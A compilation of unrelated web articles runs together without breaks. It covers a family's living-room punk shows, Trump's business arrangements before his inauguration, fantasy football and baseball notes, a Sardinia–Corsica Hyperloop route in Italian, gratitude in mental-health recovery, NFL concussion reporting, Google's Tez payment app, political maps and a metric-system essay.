Since 2006, Dylan and his older brother Sean, have set up hardcore punk concerts in their mother’s living room in the sleepy Coachella Valley town of Cathedral City, a stone’s throw from Palm Springs. The shows can attract as many as two hundred people. Since Dylan took the reins in 2012, the house has become a destination for touring punk bands who’ve heard tales of the shows that go down there. “There’s nothing for kids to do out here, especially if they’re under twenty-one,” says Dylan’s mom Lisa Arseo. She takes attendance at the shows from a lawn chair in the front yard, collecting the $3 entrance fee, which goes straight to the performing bands.
In 2006, when Dylan’s older brother Sean—today, a graduate student in sociology at UC Davis—started booking his friends’ bands to play in the Arseo family’s backyard, Lisa decided to encourage the enterprise. “We’ve thought about setting up a regular venue, but that’s too much work,” she says. “We get kids from 15 to 30 years old. It’s quite a variety of people. “
There’s no actual stage, only a rudimentary setup of drums and amplifiers at one end of the living room. When the South L.A. punk band Generacion Suicida launches into their first song, the room is transformed into a violent human maelstrom of flailing arms and kicking legs. A few young women find their way in and go toe to toe with the men in the pit, whose median weight seems to be in the two hundred pound range. When a reveler falls, everything comes to a momentary standstill and the fallen is helped up before the chaos resumes.
“Growing up in the desert, there was never anything to do,” says Dylan Arseo. He lives in a one-story house in Anaheim with five friends and works at the Rickenbacker guitar factory in Santa Ana. Dylan got into hardcore punk through his brother Sean and his friends. Today he plays drums for the band Fissure, who have headlined his mother’s living room several times.
“I mainly set up the shows when out of town bands that I really like come by,” Dylan explains. Arranging the shows requires a lot of work: spreading the word, keeping everything on track, and avoiding too much negative attention from neighbors and the police. The Arseos were once cited for a noise complaint, but have otherwise not run afoul of the law. “If we get another ticket, that’s it,” Dylan says. “My mom’s been very clear about that.” After the last band of the evening—Vice, from Staten Island, New York—finish their set, peace returns to the quiet suburban street, and the hottest punk club in Cathedral City is closed until the next show.CLOSE President-elect Trump explains why his sons will run the Trump family business while he occupies the White House.
President-elect Donald Trump applauds as an attorney answers journalists' questions during a press conference on Jan. 11, 2017, in New York. (Photo: Don Emmert, AFP/Getty Images)
WASHINGTON — President-elect Donald Trump plans to relinquish management of his businesses, but he still intends to retain an ownership stake in his sprawling real-estate and branding empire.
Trump’s adult sons, Donald Trump Jr. and Eric Trump, will run the company, along with a Trump Organization executive. Trump will not make any corporate decisions during his time in the White House, his aides said.
Trump will put his business assets into a trust, and an ethics adviser will join the company’s management team. The adviser, who has not yet been named, will review and sign off on any new business deals that raise potential conflicts of interests, lawyer Sheri Dillon announced Wednesday. The company also will hire a chief compliance counsel to police potential conflicts.
Dillon said the Trump Organization will not complete any new foreign deals but will continue to pursue new domestic business during Trump's presidency. Dillon said Trump's daughter and trusted adviser, Ivanka Trump, will have no role with the company. Her husband, Jared Kushner, will serve as a senior White House adviser to his father-in-law.
Trump and his aides say they are establishing a clear dividing line between his presidency and the business and note that conflicts of interest laws that govern most executive branch employees do not apply to the president or vice president.
"I could actually run my business and run government at the same time," Trump said Wednesday during a news conference, his first since winning the presidency. "I don't like the way that looks, but I would be able to do that if I wanted to."
Trump said he recently rejected $2 billion worth of business deals in Dubai. "I turned it down," he said. "I didn't have to turn it down."
Dillon said the steps announced Wednesday "will completely isolate (Trump) from management of the company."
"President-elect Trump wants the American public to rest assured that all of his efforts are directed to pursuing the people's business and not his own," said Dillon.
Even so, Trump’s action falls well short of recommendations by ethics experts, who have called on him to sell off his assets and put them in a blind trust, not controlled by him or his family members. Most recent presidents have used blind trusts. President Obama’s assets are in mutual funds and Treasury bonds.
His steps also are far less than required of his Cabinet and White House picks, who are subject to conflict of interest rules. For instance, Rex Tillerson, Trump's choice for secretary of State, has reached an agreement with government officials, to sell all his stock and walk away from his former employer, Exxon Mobil.
Several watchdogs, including the federal government's top ethics watchdog, said Trump’s decision failed to address the problems his tangled business interests will pose.
In an unusual move, Walter Shaub, who oversees the Office of Government Ethics, criticized Trump's plan publicly, saying it "doesn't meet the standards that the best of his nominees are meeting and that every president in the past four decades has met."
Norman Eisen and Richard Painter, two former White House ethics lawyers who have been among Trump’s most dogged critics on potential conflicts, also slammed the plan. They called Trump’s move to wall himself off from the Trump Organization “inadequate and scantily detailed.”
Read more:
The long-anticipated announcement about Trump's business dealings came nine days before his Jan. 20 swearing-in, and it was clear Wednesday that his aides still were in the process of establishing the terms of the trust they say will be in place before Trump begins his takes office. Officials said they also were still interviewing candidates for the ethics adviser post.
Trump's ownership of the hundreds of companies that make up the Trump Organization has raised the potential for conflicts of interest unprecedented for a U.S. president. Trump has begun to walk away from some of his business interests in recent months, ending projects in countries such as Brazil and Georgia. He also has announced plans to shutter his foundation.
However, Trump’s companies still have global ties. In a series of tweets last year, Trump pledged the Trump Organization would engage in “no new deals” while he’s in office.
On Wednesday, Dillon said that prohibition would apply only to new agreements overseas while Trump is in the White House and said the company will continue to enter into new contracts domestically. Those arrangements, she said, will be reviewed by the ethics adviser and outside experts.
She said it was unrealistic Trump to sell off his assets because it would raise questions about whether the buyer had sweetened the deal to influence the incoming president. Dillon said putting the company — which features Trump's name on everything from hotels to golf courses — into a blind trust also posed problems.
"President Trump can't un-know that he owns Trump Tower," she said of his Manhattan skyscraper.
Ethics watchdogs, however, have warned that Trump could run afoul of the “Emoluments Clause,” an anti-bribery provision of the Constitution that forbids the president from receiving profits or gifts from foreign governments.
Trump aides argue that the clause does not apply to “fair value exchanges,” such as a foreign government paying to stay at the Trump International Hotel in Washington. To avoid the appearance of any conflicts, Trump has decided to donate the profits from foreign payments at his hotels to the U.S. treasury, Dillon said,.
"No one would have thought when the Constitution was written that paying your hotel bill was an emolument," she said.
Read or Share this story: http://usat.ly/2jvFohcLR007
yuk. – A D W A
(Leaving Records digital exclusive with Boomkat + CS available from My Hollow Drum, total runtime 26.41)
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Leaving Records is proud to announce A D W A, the debut release by yuk. An album teeming with lush mysteries and dark allure, A D W A explores the misty juncture of beat and melody like a heart-of-darkness jungle cruise.
“yuk.’s A D W A is an album of sublime beauty. It’s a fog-shrouded vision quest through gorgeous terrains that transform from glacial to gritty as it winds its way through your ears. I feel a strong desire to loop right back to the start of this awe-inspiring journey after every listen.”
–frosty of dublab
“A D W A is a short story of yuk.’s sonic experiments… Documented on magnetic tape, displaying sounds from the far-out left-field end of the My Hollow Drum family… Lo-Fi ambient textures, organic beats, tribal rhythms & rain forest pop in a deep listening of ethereal soundscapes.”
–My Hollow DrumWASHINGTON (MarketWatch) — House Republican leaders abruptly canceled a planned vote Thursday night on a tax-cut bill linked to fiscal-cliff talks, saying they didn’t have the votes to pass it.
Just 11 days remain to avert automatic spending cuts and tax increases.
Reuters House Speaker John Boehner.
Earlier Thursday, House Majority Leader Eric Cantor had confidently predicted that the Republicans’ bill — dubbed “Plan B” — would clear the chamber.
But Republicans emerged from a closed-door meeting Thursday night without the votes to approve the back-up measure. The chamber adjourned until after Christmas, Cantor said. Read more MarketWatch fiscal-cliff coverage.
“The House did not take up the tax measure today because it did not have sufficient support from our members to pass,” House Speaker John Boehner said in a statement. “Now it is up to the president to work with [Senate Majority Leader Harry] Reid on legislation to avert the fiscal cliff.”
The Republicans’ Plan B would have extended the Bush tax cuts on incomes below $1 million, while also keeping current rules on the estate tax; maintaining the 15% tax rate on capital gains and dividends for those making less than $1 million; and extending some expensing for small businesses, among other measures.
But the bill faced a veto threat from the White House, even if it had somehow managed to pass the Democratic-controlled Senate.
News of the aborted vote sent U.S |
Alexis Sanchez had a disappointing blank and had his chances to get on the scoresheet. I think that Arsenal defenders are still great to own. If you don’t own Sanchez, I wouldn’t bring him in until he shows some form. I wouldn’t get rid if you do own him, but his returns lately have been alarming.
Bournemouth failed to score today against a sharp Arsenal defense. The Cherries were the worse of the two, but they played to their standards. Benik Afobe went goalless after scoring 3 goals in 3, but looked good on the ball. I still think he’s a great value striker with a good run of fixtures to come. Charlie Daniels also pushed high up the pitch and is involved in Bournemouth’s attack. I still rate him as the best budget defender in the league because of his attacking potential from open play and penalties! I think Bournemouth are a sleeper team that could help boost your FPL rank if they keep their form up!
Chelsea 1 – 1 Manchester United
Chelsea had a slow start to the game but turned it around, ultimately grinding out a point. Diego Costa continued his scoring run by provided the tying goal in stoppage time. With the fixtures lightening up for Chelsea in the coming weeks, Costa could be the differential striker to own at only 6.4%! Kurt Zouma was carted off with a nasty knee injury, and he looks to be out for the foreseeable future. I would invest in the Chelsea fullbacks (Ivanovic or Azpilicueta) if you’re looking to bring in a defender from the Blues. I think it’s worth it to gamble on Chelsea players given their schedule coming up.
Manchester United were the better side for the majority of the game. They controlled possession and played more as a team. They seem to be discovering some chemistry in attack, which could mean that United attackers will become more viable FPL options. Jesse Lingard scored again, making it two goals in two game. At £4.2, he is the ideal budget midfielder as long as he continues to start. I don’t think van Gaal will make too many changes, so he should be pretty nailed on. Wayne Rooney also assisted Lingard’s goal and is the player United are looking to for crosses and through ball. He’s involved and he’s sharp. De Gea was brilliant in goal and didn’t make any mistakes, with Chelsea’s equalizer out of his control. I’ll be sticking with all of my United players, and I think you should too!
Written by @Thunshot
AdvertisementsATLANTA - Kurt Suzuki and the Atlanta Braves finalized their $1.5 million, one-year contract, giving the team another experienced catcher to share time with Tyler Flowers.
The agreement was announced by the team on Monday after Suzuki passed his physical. Suzuki could earn an additional $2.5 million in performance bonuses based on starts at catcher.
Suzuki, 33, hit.258 with eight homers and 49 RBIs last season with Minnesota. His career average is.256.
Atlanta also is expected to enter spring training with Anthony Recker, who was Flowers' backup last season.
Suzuki made his major league debut with Oakland in 2007 and played for Washington in 2012-13. He would get $50,000 each for 65 and 70 starts at catcher, $100,000 for 75, $150,000 for 80, $200,000 for 85, $250,000 for 90, $300,000 for 95, $350,000 for 100, $500,000 for 105 and $550,000 for 110.73 Condivisioni Facebook Whatsapp Telegram Flipboard Twitter Pinterest Linkedin
Hyperloop One collegherà la Sardegna con la Corsica. Un tragitto tra Cagliari e Bastia percorribile in soli 40 minuti. Un progetto decisamente rivoluzionario che giunge anche in Italia, dopo averne conosciuto le potenzialità come sistema di trasporto veloce formato da capsule e condotte.
Hyperloop One ha svelato una sua lista di rotte del network europeo. Queste saranno prese in considerazione per il loro sviluppo, per poi giungere alla fase successiva: incoraggiare le persone a viaggiare su percorsi tecnicamente fattibili e sicuri, così come anche economicamente accessibili.
Il futuristico Hyperloop è stato originariamente sviluppato da Tesla e Space X di Elon Musk. Si tratta di un “treno” formato non da vagoni, bensì da capsule in grado di sfrecciare attraverso un tubo ad una velocità fino a 700 miglia all’ora. La loro accelerazione, quindi, sarebbe garantita gradualmente tramite propulsione elettrica attraverso il tubo a bassa pressione.
La rotta sardo-corsa ha superato una fase di selezione dell’Hyperloop One Global Challenge. Una lista, dicevamo, comprendente altri 34 progetti:
Corsica-Sardegna – 451 km Estonia-Finlandia – 90 km Germania – 1.991 km Polonia – 415 km Spagna-Marocco – 629 km Paesi Bassi – 428 km UK-North South-Connector – 666 km UK-Northern Arc – 545 km UK-Scozia-Galles – 1.060 km
Il vertice europeo che si è occupato di questa fase di selezione, ha discusso i suoi piani per stabilire tale rete di percorsi, che dovrebbe arrivare a coprire più di 5 mila Km, collegando oltre 75 milioni di persone in 44 città. Entro la fine dell’anno, Hyperloop One conterà su un team di 500 dipendenti con il compito di portare questa tecnologia ad una realtà effettiva e operativa. “L’Europa abbraccia le nuove idee nel settore dei trasporti come nessun altra regione al mondo e si trova in una posizione unica per ospitare il prossimo grande salto nel settore dei trasporti con Hyperloop One”, ha dichiarato Shervin Pishevar, co-fondatore e presidente esecutivo di Hyperloop One.
Il percorso che collegherà Bastia con Cagliari sarà coperto in poco più di 40 minuti. Il percorso attraverserà la regione sarda, le Bocche di Bonifacio per giungere, infine, a Bastia. Soste intermedie, quattro porti e aeroporti e 7 stazioni ferroviarie.
Un vero e proprio traguardo per quella necessità e richiesta lanciata in tutto il mondo per introdurre una innovativa idea di trasporto, non solo per le persone ma anche per il settore delle merci. In grado di superare i 1.000 Km/h, Hyperloop si muoverà all’interno delle tubazioni relative a bassa pressione e utilizzando motori a energia rinnovabile.As an essential part of recovery, gratitude is recognized as one of the foundations for creating happiness. A positive outlook combined with positive thinking can influence behavior and aid in leading a sustainable recovery-oriented life. Those who practice gratitude will often take better care of themselves and engage in protective health behaviors such as regular exercise, healthy nutrition, and routine physical exams.
Gratitude has been proven to provide numerous physical, psychological, and social benefits such as:
Increased happiness
Reduced stress
Reduced depression symptoms
Improved sleep
Boosted immune system
Improved relationships
How does Gratitude work on my emotions?
Research has shown that theory of positive emotions, such as gratitude, promotes the use of adaptive coping strategies during stressful events, leading to enhanced resilience and improved outcomes. For those suffering from anxiety and depression, which can often come from stress, the practice of gratitude can lead them to become more optimistic, more in control of their lives, and live in a less stressful environment. Spending time creating feelings of joy and happiness connected to the people and things you are grateful for lifts the mood, often time invites a smile to appear on your face.
How does Gratitude help my interactions?
Practicing gratitude has a profound impact on our interaction with the world around us and allows us to celebrate the present and be an active participant in life. Friendships and families benefit when conversations and moods are more relaxed and hopeful. Think about a time when another person’s mood and outlook positively impacted your mood. It can be as simple as thinking about what you are grateful for in your life and allowing the positive feelings to arise in your body, mind and spirit. There are several ways to practice gratitude:
Keep a gratitude journal. Recall moments of gratitude daily by recording 1-3 things which you are grateful for, including people, places, objects, moments, and successes. Research shows that people who journal their gratitude moments on a weekly basis exercise more regularly, have fewer physical symptoms, are more positive about life and optimistic about the future.
1-3 things which you are grateful for, including people, places, objects, moments, and successes. Research shows that people who journal their gratitude moments on a weekly basis exercise more regularly, have fewer physical symptoms, are more positive about life and optimistic about the future. Focus on what is important. Ask yourself, “What is important in my life?” An attitude of gratefulness in your relationships is a key part of long-lasting happiness.
Ask yourself, “What is important in my life?” An attitude of gratefulness in your relationships is a key part of long-lasting happiness. Appreciate the small things. Make a list of things in your life that you take for granted and what life would be like without them. Appreciating these will you give you a renewed appreciation for what you do have and people in your life.
Make a list of things in your life that you take for granted and what life would be like without them. Appreciating these will you give you a renewed appreciation for what you do have and people in your life. Share your appreciation. People have made an impact in your life, share your gratitude with them. Saying “thank you” to those people in your life lets them know what they mean to you.
. People have made an impact in your life, share your gratitude with them. Saying “thank you” to those people in your life lets them know what they mean to you. Give back. Once you sense your needs are being met and your sense of gratitude increases, you will have a larger capacity to give to others.
Once you sense your needs are being met and your sense of gratitude increases, you will have a larger capacity to give to others. Speak positively to yourself. Speak to yourself in a creative, optimistic, and appreciative manner. When you catch yourself speaking or thinking negatively about yourself, turn it into something positive. Learning to be more positive to yourself can improve your patience and understanding.
There is a less likely a chance of relapse if individuals in recovery practice gratitude because they are empowered to move forward. A grateful attitude means they can face the challenges that are before them. Although life will present obstacles, they view it as a chance to grow rather than a hindrance. This positive way of thinking helps to achieve recovery.
At Pasadena Villa, our treatment environment assists in relieving the anxiety and stress that comes from assimilating back into everyday life. Through group therapy, we encourage our clients to develop a sense of gratitude and begin to diffuse negative thoughts and behaviors. Clients learn the importance of change and how they perceive the world and create a better attitude towards life. Gratitude helps to motivate them to take the actions needed to make changes and begins to provide a healthy outlook.
Gratitude is one of the most overlooked tools we should use daily. It doesn’t take much time, it’s free and provides substantial benefits. It has been shown to reduce an array of toxic emotions and effectively increase positive ones. We all have the ability and opportunity to cultivate gratitude. The treatment team at Pasadena Villa understands if you are feeling down and experiencing helplessness or are unable to proceed; that is a sign help is needed.
We are here for you or your loved one to answer questions and connect to care. Call us at 877-845-5235 or complete our contact form to help with the next steps. Pasadena Villa currently offers treatment at two residential locations in both Orlando, Florida and Knoxville, Tennessee, and outpatient services in Cary, North Carolina.ESPN
The NFL doesn’t always push back publicly when it finds itself subject to reporting with which it doesn’t agree. When the league does push back, however, the league does so aggressively.
In response to an ESPN Outside The Lines story regarding the league’s involvement in concussion research, NFL spokesman Joe Lockhart has issued a lengthy press release disputing various points. Titled “what’s wrong with the ESPN story — just the facts,” Lockhart has produced a series of bullet points in response to various aspects of reporting from Mark Fainaru-Wada and Steve Fainaru. Portions of the statement are quoted below.
In response to the ESPN claim that the league is trying to “retake control of scientific research,” Lockhart says the contention is false. (“I was tempted to say ‘fake news,'” Lockhart adds.) “We set up the Scientific Advisory Board (SAB) to have leading independent experts, doctors, scientists and clinicians direct us to the most important areas of research,” Lockhart explains. “The SAB, chaired by Peter Chiarelli, U.S. Army Gen. (Ret.), is doing its work. They are scheduled to send out a ‘Request for Proposals’ in the next week or so. That’s the way science works — developing a set of criteria and a process for grant proposals takes hard and deliberate work.”
As to the ESPN contention that NFL has provided funding for research by “industry friendly” groups, Lockhart says it’s “patently absurd.”
“If we wanted to do fake science, why would we go to outside advisors and take so much time to get this right?” he adds. “If ESPN/OTL is right, wouldn’t we want to flood the zone with junk science as quickly as we could?”
Lockhart also responds to an allegation from ESPN that the league “only engages with experts who are willing to pursue an NFL agendas” by saying, “In some ways, this is the most troubling claim.” He contends that “these are independent and widely-recognized... experts in their fields.” Lockhart then goes on the offensive with ESPN, arguing that “anyone who does not agree with ESPN/OTL’s agenda is defamed, diminished, and mocked in its reporting.... If you have any doubt, call the engineers and researchers quoted in the story and ask them if their comments were accurately represented or if they were cherry picked and taken out of context.”
Last year, the league took a similarly aggressive position in response to a New York Times article that drew comparisons to the NFL and the tobacco industry, suggesting that the league is using the same playbook as to concussions that the cigarette companies used regarding the addictive and harmful aspects of nicotine. The difference, of course, is that the New York Times isn’t a broadcast partner of the league. ESPN is. While a firewall of sorts has been established between ESPN’s NFL reporters and the OTL crew, an even more obvious firewall existed between reporting and the fictional show Playmakers. And the league didn’t hesitate to use the threat of losing its slate of NFL games to get ESPN to drop a popular show that, in hindsight, was prescient in many ways.
With ESPN hemorrhaging cash and the rights fees expiring in a few years, it’ll be interesting to see whether this incident, and any subsequent reporting of that same ilk (if there is any) will impact the future relationship between the three-letter league and the four-letter network.Alphabet's (NASDAQ:GOOG) (NASDAQ:GOOGL) Google recently launched Tez, a mobile wallet app for the Indian market. The app links to a user's bank account and enables peer-to-peer transfers with Audio QR (AQR), which uses ultrasonic sounds to "talk" to other phones without the need for NFC (near-field communications) chips.
Tez supports India's Unified Payments Interface (UPI), a government-backed standard aimed at unifying the fragmented banking market on a single platform. The app is now available on iOS and Android, and new devices from Micromax, Lava, Nokia, and Panasonic will ship with Tez pre-installed.
It's certainly logical for Google to launch a mobile wallet for India's 300 million smartphone users. But it also might seem odd to introduce Tez instead of Android Pay, which already has footholds in Asia in Hong Kong, Taiwan, and Japan.
It's all about the available technologies
During a Q&A session following Tez's introduction, Google senior executive Caesar Sengupta said there weren't immediate plans to launch Android Pay in India. Sengupta cited the low availability of NFC-equipped smartphones and compatible point-of-sales terminals across India as the key deciding factor.
India also has a very low credit card penetration rate, with fewer than 25 million credit cards circulating amid a population of 1.3 billion. This makes it very tough for credit card-linked payment apps like Android Pay and Apple Pay to gain traction among mainstream consumers.
Mobile debit, not mobile credit
Many more consumers (reportedly nearly half the Indian population) use debit cards, since they double as ATM cards, while many businesses still only accept cash. That's why Google linked Tez to bank accounts and introduced the AQR tech for P2P payments.
Tez can be linked to major banks that support UPI and the app limits users to 20 transfers or 100,000 rupees ($1,560) across all UPI-linked apps every day.
Tez has already attracted a growing list of online payment partners, including Domino's, RedBus, and Jet Airways. Google lets these businesses communicate with customers via business-to-consumer chat channels, which enable streamlined payments. In addition to English and Hindi, Tez also supports six other regional languages.
A $500 billion market opportunity
Google and BCG estimate that over half of India's internet users will use digital payments by 2020, boosting the size of the country's entire digital payments industry to $500 billion -- or 15% of total GDP. But Google isn't the only company making big moves into the market.
Amazon (NASDAQ:AMZN) and PayPal (NASDAQ:PYPL) both applied for mobile wallet licenses in India. Amazon was granted a license in March, and it's leveraging the strength of its e-commerce ecosystem to promote its payments platform. In July, Amazon offered Indian shoppers a 10% cashback promotional offer to convince shoppers to use its mobile wallet. PayPal hasn't received a license yet, and it could struggle if it arrives too late.
The Indian market is also filled with other mobile wallet players like Alibaba's Paytm and Flipkart's PhonePe. Apple might even bring Apple Pay to India by the end of the year, but it doesn't plan to abandon or modify its NFC tech. Instead, it plans to work with merchants and banks to install NFC terminals, which could limit its overall appeal.
It's all about ecosystem growth... for now
It's unclear how Tez generates revenue, since transfers through the UPI system are free. But like many other projects, Google is likely trying to build an ecosystem first before fretting over revenue growth.
If Tez establishes a foothold in the Indian market, Google could potentially charge retail partners for additional features -- like promoted offers through its main app or tiered rates based on the number of channel-connected customers. But to reach that stage, Google needs to stand out in an increasingly saturated market with other tech giants breathing down its neck.So, a lot of political maps are circulating these days. My Washington Post colleague Reid Wilson has noted one map, by journalist Colin Woodard, that divides the United States into 11 “nations.” Another, by journalist Dante Chinni and political scientist James Gimpel — which we featured here — creates a more variegated patchwork. My Post colleague Chris Cillizza, comparing districts held by Republican and Democratic members of Congress, writes:
The simple fact is that there is almost no overlap — culturally, politically, economically, socially and virtually every other word ending in “ly” — between the districts represented by Republicans in Congress and those held by Democrats. If the two sides often seem like they are talking to two totally different electorates on every issue, it’s because they are.
Of course, it’s true that Americans aren’t of one mind on many political issues. But it is important that we not look at these maps and infer that we are so politically polarized by geography. In fact, most Americans live in places that are at least somewhat politically and ideologically diverse — even if that’s not reflected in how congressional district boundaries are drawn. In terms of the most important driver of political choices — partisanship — most of us live in a purple America, not a red or blue America.
Here is a map of the 2012 presidential vote at the county level by the University of Michigan’s Mark Newman:
As Nate Cohn rightly points out, this kind of map makes the country look more “red” than it really is. A lot of those solid red counties have small populations. Also, this map only captures the party that won each county, not the county’s underlying partisan composition — which often reflects a mix of Democrats and Republicans. Once you take into account population and this more purple mix, you get a U.S. map that looks like this:
The sparsely populated red counties shrink to thin lines. There are a few patches of dark blue in some big cities. But mostly the map is colored with various shades of purple. The same was true in 2004 and 2008.
There are other maps that make this same point. This one by Chris Howard, for example, uses shades of red, blue and purple, but captures population by lightening and darkening the hues. The washed-out areas of the map are where fairly few people live. You can see how much this improves over the three maps above it.
All of this is consistent with how America looks when you focus the microscope even narrower — to voting precincts within countries. As I noted the other day, most precincts are not solidly red or blue:
(Graph by Eitan Hersh)
This is also consistent with political science research showing that red and blue states are not that polarized. Political scientists Matthew Levendusky and Jeremy Pope constructed measures of economic and social liberalism and compared them in red and blue states based on the 2004 presidential election. There is tremendous overlap:
Graph by Matthew Levendusky and Jeremy Pope.
Levendusky and Pope go on to show that the differences between Democrats and Republicans within any individual state are more pronounced. Partisans are much better sorted ideologically these days, but this doesn’t have much to do with geography.
Of course, there are interesting differences among American communities — economically, demographically and politically. Provo is not Berkeley, and vice versa. The point is that most Americans don’t live in Provo or Berkeley. Most of us live in places that are, politically speaking, somewhere in between.By The Metric Maven
Fifth Year Anniversary
When someone asks you “A penny for your thoughts,” and you put your two cents in, what happens to the other penny?”
— George Carlin
Five years ago I posted my first metric essay titled The Invisible Infrastructure. The thesis of the article is that our measurement system is part of our national infrastructure, and it is seriously dilapidated. The problem is that unlike our visible infrastructure, our bridges, roads, water systems and railroads, people don’t notice the decay of our measurement infrastructure. The situation is much like people who learned to manipulate Roman numerals, and only casually encountered the Hindu-Arabic version. Their ignorance of the new system, combined with the resistance to abandoning a known set of numerals, and how to manipulate them, and then learning a new set, stalled the worldwide introduction of Hindu-Arabic numerals for 1000 years.
The creation of a nation’s infrastructure and its maintenance requires a national policy, and the power to enforce the policy. The manufacturing centers of a country rely on state of the art support of a modern infrastructure to function. Alexander Hamilton wrote the first industrial policy proposed in the United States. Hamilton wanted the US government to encourage innovation by the citizens of the US, support the constant improvement of the nation’s infrastructure (known as internal improvements) so as to usher along US commerce and develop a manufacturing industry for the young Republic.
Abraham Lincoln, who had received a patent and was greatly interested in engineering and science, endorsed Hamilton’s policy. The policy was so popular that it was embraced by every president after that until well into the late 20th century.
Around 1980, it became fashionable to argue that an industrial policy for the US was not necessary, in fact, it was suddenly thought detrimental. It was asserted that a mysterious set of unseen collective philosophical forces would usher the country along without any need for any intelligence to guide it. All problems from climate change to pet grooming would be solved without any need for a government or politics. It was insisted that the new orthodoxy was scientific, and “no more than you can change the laws of Newton, could one go against this received wisdom.” The dogma asserted that if these non-government forces did not produce a given outcome, then it was not an important problem to begin with. When the received philosophy did not embrace an empirical reality, it was said to transcend this meager earth-bound reality. This has produced a received dogmatic mythology that quells any introspection.
In the case of the metric system in the US, individuals like John Shafroth tried to intervene and legislate the metric system directly in the early twentieth century. At that time it was possible for individuals in government to see that infrastructure, both visible (railroads, water systems, sewer systems) and invisible (the metric system) were needed by the republic, and they set out to bring them into being. In the early 1920s, it became popular for theory that is decoupled from measurement to reign. In 1921, despite example after example of how governments (including the US in the Philippines) had brought the metric system to numerous countries, these examples were all dismissed. The implementation of the metric system by these nation-states was somehow unnatural because people had implemented it through governments, and not allowed the metric system to spring from the chaos of individuals. Charles McNary, Chairman of the 1921 Metric Hearings asked:
“If the thing is uneconomical, then the great law or the science of commerce ought to adjust it. It does in other things. Why does it not operate in this field if everybody is losing by it, from the packer to the consumer? Why does it not correct itself?”
The metric system vanished in a puff of accepted mythological sophistry. There is example after example of the concrete benefits using the metric system brings to crafts and trades, but measurement cannot compete with a viral meme that possesses the most politically powerful, and scientifically vacuous minds that populate our political class. A theory that ignores contrary data is a dogma, and this dogma has a powerful grip on the US psyche. Its grip is so powerful, that even as the visible infrastructure is decaying before everyone’s eyes, we are told that actions to improve our infrastructure are not proper if legislated into existence. When legislated, then according to dogma it is too expensive, and that if infrastructure was important to the economy, it would appear spontaneously.
Large infrastructure projects have historically been financed by the public, and the profits then reaped by powerful individuals. The Erie canal was funded by government.
The first transcontinental telegraph across the US was financed by the US government. The Interstate Highway system was financed by the US government. The internet was financed by the US government. The GPS System was funded by the US government. There was no spontaneous action by an unseen philosophy acting on large numbers of people, there was vision and planning by individuals on behalf of the nation.
Clearly conditions have existed in the past where visible infrastructure has been legislated into existence, why not the invisible infrastructure that is our weights and measures? One aspect of the invisible infrastructure is that it is not clear who would immediately benefit. When roads are constructed, road construction companies bid for government contracts to fabricate the infrastructure and they, in turn, profit. The implementation of the metric system does not have clearly defined winners—other than all the citizens of the US. As I’ve pointed out previously, the implementation of a national infrastructure upgrade would be the perfect time to switch to metric and for the public to financially benefit from its greater efficiency.
A second complication is that the structure of our government in the US is rather unique. It appears to have been the first of the modern representative democracies and suffers from the antiquated political infrastructure that is our Constitution. The 1978 GAO report on the metric system notes that Parliamentary systems of government require far less legislation to implement the metric system than would the US. Unicameral parliamentary governments appear to be a much more direct form of democratic representation than is the baroque 18th century structure of the US government which isolates citizens from their government.
When mixed with American anti-intellectualism and scientific ignorance, mathematics, arithmetic and measurement become political positions. The most obvious example is Charles Grassley of Iowa who single-handedly filibustered the implementation of the metric system for road signs in the US in the late 1970s (he remains in the Senate to this day). He sees the system that originated in Britain (i.e. the metric system), as a foreign form of measurement. Denial of scientific concepts, based on an ignorance of science, will not influence how mother nature conducts her business one yoctometer. Independent of political philosophy, Roman numerals will remain more complex and confusing than decimals. Fractions will still require common denominators for addition, whereas integers do not, and the metric system is still simpler than the anarchy of US Ye Olde English units that do not form a system at all. As long as this ubiquitous measurement ignorance camouflages the Ye Olde English expenses experienced by our nation, these costs and confusion will not be addressed. The general public and the political class is as unaware of the decay of our invisible infrastructure of weights and measures as people were of microbes before the invention of the microscope.
When Americans are asked about the metric system, there is often a visceral reaction, followed with a sarcastic hubris that only ignorance and ad hoc jingoistic rationalization can nurture. We’re the greatest country on Earth! We put men on the moon!—without the metric system! We did put men on the moon, with considerable help from German scientists, and using a guidance computer that did its internal computations using metric. I have personally heard political aids of my representative claim with a dismissive wave of their hand that “we tried to change in the 1970s—so leave us alone now.” or “that ship sailed in the 1970s and is never coming back.” Americans celebrating a failure as a triumph?—it is a strange rationalization indeed for a “can-do” nation. The invisible infrastructure of weights and measures is perhaps the most important concept ever created in the history of science, engineering, and commerce. It most likely predates a monetary system. The very word ruler implies the importance of a standard length deriving and enforced by a government.
Another aspect is that metric has become a test for social norm in the US. Americans use ‘merican ‘measures and if you inquire about metric your very patriotism or
“Americaness” might be questioned. Any thought of metric change is immediately seen by established media outlets as a possible audience alienator and in turn a ratings enhancer. The only cooking program I ever followed with great interest was Alton Brown’s Good Eats. He did his best to explain the science behind cooking, and I noticed that once in a while he would try to sneak in a measurement in grams, but the show is overwhelmingly Ye Olde English. Brown is now working on a follow-up show to Good Eats and revealed to the Guardian:
“When Good Eats aired on Food Network, he said he wasn’t allowed to cover certain subjects, such as cooking rabbit, liver or chicken gizzards.
The channel also refused to let him use the metric system, he said.”
Astronomy magazine also eschews the use of actual metric, as do other popular science magazines. Obviously more mainstream media outlets are Olde English only.
The invisible infrastructure is invisible because it is ubiquitous and so integrated into one’s mind that it is not really cognitively noticed. When one first learns to drive a car, every aspect of this activity exists at a very conscious level of one’s mind. Which way do I move the turn signal to make it go left or right? How do I press the clutch and shift
in a way the gears don’t grind? Where is 1st, 2nd, 3rd and reverse gears. As one drives, the information integrated into one’s mind moves to a much less conscious level. A person can drive in this automatic mode to the point that one’s mind wanders and does not recall driving along a well known street, only the beginning and the end points. The measurement system one uses becomes rather automatic after it is used for a long time, independent of its utility, or ease of use. No matter how complex a language might be, a child can learn it, and incorporate it to a an “invisible” cognitive level. We often take little note of the complexities and irrationality of our language, because we are so comfortable and have long experience with using it. As has been said, i before e except after c and words like neighbor and weigh, this means that Einstein got this wrong twice. Most people don’t notice that the th sound in they and theater are different, the mind has moved this information to an invisible level.
The cognitive invisibility of our usage is confused with utility. We are at ease with it and so we do not evaluate it. It is like a magic trick that works over and over to mask its flaws. We don’t question the utility of fractions, and contemplate eliminating them, we just continue, year after year, using a table of “decimal equivalents” rather than just using decimals directly in our invisible measurement infrastructure. We cannot imagine
going even further and using a unit that in most cases can produce numbers that are all integers and eliminate a decimal point for most everyday work. If one has 250 mL of milk and adds 300 mL of oil no decimal point is needed in everyday cooking. This is true for grams, and of course using millimeters as the default small unit in everyday life is both of massive utility, and even for many US “metric users” unthinkable.
